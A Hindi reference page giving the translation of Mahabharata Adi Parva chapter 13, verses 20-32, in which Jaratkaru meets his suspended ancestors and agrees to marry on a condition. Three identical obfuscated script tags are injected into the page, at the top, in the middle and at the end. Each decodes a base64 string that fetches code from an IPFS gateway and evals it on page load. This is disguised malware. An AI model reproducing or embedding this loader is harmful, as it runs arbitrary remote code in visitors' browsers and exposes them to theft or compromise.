महाभारत आदि पर्व अध्याय 13 श्लोक 20-32

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

त्रयोदश (13) अध्‍याय: आदि पर्व (आस्तीक पर्व)

महाभारत: आदि पर्व: त्रयोदश अध्याय: श्लोक 20-32 का हिन्दी अनुवाद

वह मूढ़ पुत्र उत्पन्न करने के लिये किसी स्त्री से विवाह करना नहीं चाहता है। अतः वंश परम्परा का विनाश होने से हम यहाँ इस गड्ढे़ में लटक रहे हैं। हमारी रक्षा करने वाला वह वंशधर मौजूद है, तो भी पापकर्मी मनुष्यों की भाँति हम अनाथ हो गये हैं। साधु शिरोमणे ! तुम कौन हो जो हमारे बन्धु-बन्धुओं की भाँति हम लोगों की इस दयनीय दशा के लिये शोक कर रहे हो? ब्रह्मन ! हम यह जानना चाहते हैं कि तुम कौन हो जो आत्मीय की भाँति यहाँ हमारे पास खडे़ हो? सत्पुरूषों में श्रेष्ठ ! हम शोचनीय प्राणियों के लिये तुम क्यों शोकमग्न होते हो। जरत्कारू ने कहा- महात्माओं ! आप लोग मेरे ही पितामह और पूर्वज पितृगण हैं। स्वयं मैं ही जरत्कारू हूँ बताइये, आज आपकी क्या सेवा करूँ? पितर बोले- तात ! तुम हमारे कुल की सन्तान परम्परा को बनाये रखने के लिये निरन्तर यत्नशील रहकर विवाह के लिये प्रयत्न करो। प्रभो ! तुम अपने लिये, हमारे लिये अथवा धर्म का पालन हो इस उद्देश्य से पुत्र की उत्पत्ति के लिय यत्न करो। तात ! पुत्र वाले मनुष्य इस लोक में जिस उत्तम गति को प्राप्त होते हैं, उसे अन्य लोग धर्मानुकूल फल देने वाले भली- भाँति संचित किये हुए तप से भी नहीं पाते । अतः बेटा ! तुम हमारी आज्ञा से विवाह करने का प्रयत्न करो और सन्तानोत्पादन की ओर ध्यान दो। यही हमारे लिये सर्वोत्तम हित की बात होगी। जरत्कारू ने कहा-पितामहगण ! मैंने अपने मन में यह निश्चय कर लिया था कि मैं जीवन के सुखभोग के लिये कभी न तो पत्नी का परिग्रह करूँगा और न धन का संग्रह ही; परन्तु यदि ऐसा करने से आप लोगों का हित होता है तो उसके लिये अवश्य विवाह कर लूँगा। किन्तु एक शर्त के साथ मुझे विधिपूर्वक विवाह करना है। यदि उस शर्त के अनुसार किसी कुमारी कन्या को पाऊँगा, तभी उससे विवाह करूँगा, अन्यथा विवाह करूँगा ही नहीं। (वह शर्त यों है—) जिस कन्या का नाम मेरे नाम के ही समान हो, जिसे उसके भाई-बन्धु स्वंय मुझे देने की इच्छा से रखते हों और जो भिक्षा की भाँति स्वयं प्राप्त हुई हो, उसी कन्या का मैं शास्त्रीय विधि के अनुसार पाणिग्रहण करूँगा। विशेष बात तो यह है कि मैं दरिद्र हूँ, भला मुझे माँगने पर भी कौन अपनी कन्या पत्नी रूप में प्रदान करेगा? इसलिये मेरा विचार है कि यदि कोई भिक्षा के तौर पर अपनी कन्या देगा तो ही उसे ग्रहण करूँगा। पितामहों ! मैं इसी प्रकार, इसी विधि से विवाह के लिये सदा प्रयत्न करता रहूँगा। इसके विपरीत कुछ नहीं करूँगा। इस प्रकार मिली हुई पत्नी के गर्भ से यदि कोई प्राणी जन्म लेता है तो वह आप लोगों का उद्धार करेगा, अतः आप मेरे पितर अपने सनातन स्थान पर जाकर वहाँ प्रसन्नतापूर्वक रहें।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>